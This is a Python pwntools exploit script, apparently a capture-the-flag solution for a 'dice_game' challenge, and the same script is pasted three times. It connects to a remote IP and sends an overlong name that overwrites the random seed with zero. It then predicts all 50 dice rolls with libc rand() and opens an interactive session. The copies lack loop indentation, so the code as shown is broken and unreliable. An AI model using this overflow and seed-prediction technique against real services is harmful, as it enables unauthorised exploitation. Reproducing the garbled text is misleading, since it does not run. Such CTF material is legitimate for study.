from pwn import *
from ctypes import *
context.arch = "amd64"
#context.log_level = "debug"
p = remote('111.198.29.45','56197')
#p = process("./dice_game")
libc = cdll.LoadLibrary("libc.so.6")
payload = 'a'*0x40 + p64(0)
#payload = 'a'*0x40 + p64(1)
p.sendlineafter("Welcome, let me know your name: ",payload)
for i in range(50):
p.recvuntil("Give me the point(1~6): ")
n = libc.rand(0)%6+1
#n = libc.rand(1)%6+1
p.sendline(str(n))
p.interactive()
from pwn import *
from ctypes import *
context.arch = "amd64"
#context.log_level = "debug"
p = remote('111.198.29.45','56197')
#p = process("./dice_game")
libc = cdll.LoadLibrary("libc.so.6")
payload = 'a'*0x40 + p64(0)
#payload = 'a'*0x40 + p64(1)
p.sendlineafter("Welcome, let me know your name: ",payload)
for i in range(50):
p.recvuntil("Give me the point(1~6): ")
n = libc.rand(0)%6+1
#n = libc.rand(1)%6+1
p.sendline(str(n))
p.interactive()
from pwn import *
from ctypes import *
context.arch = "amd64"
#context.log_level = "debug"
p = remote('111.198.29.45','56197')
#p = process("./dice_game")
libc = cdll.LoadLibrary("libc.so.6")
payload = 'a'*0x40 + p64(0)
#payload = 'a'*0x40 + p64(1)
p.sendlineafter("Welcome, let me know your name: ",payload)
for i in range(50):
p.recvuntil("Give me the point(1~6): ")
n = libc.rand(0)%6+1
#n = libc.rand(1)%6+1
p.sendline(str(n))
p.interactive()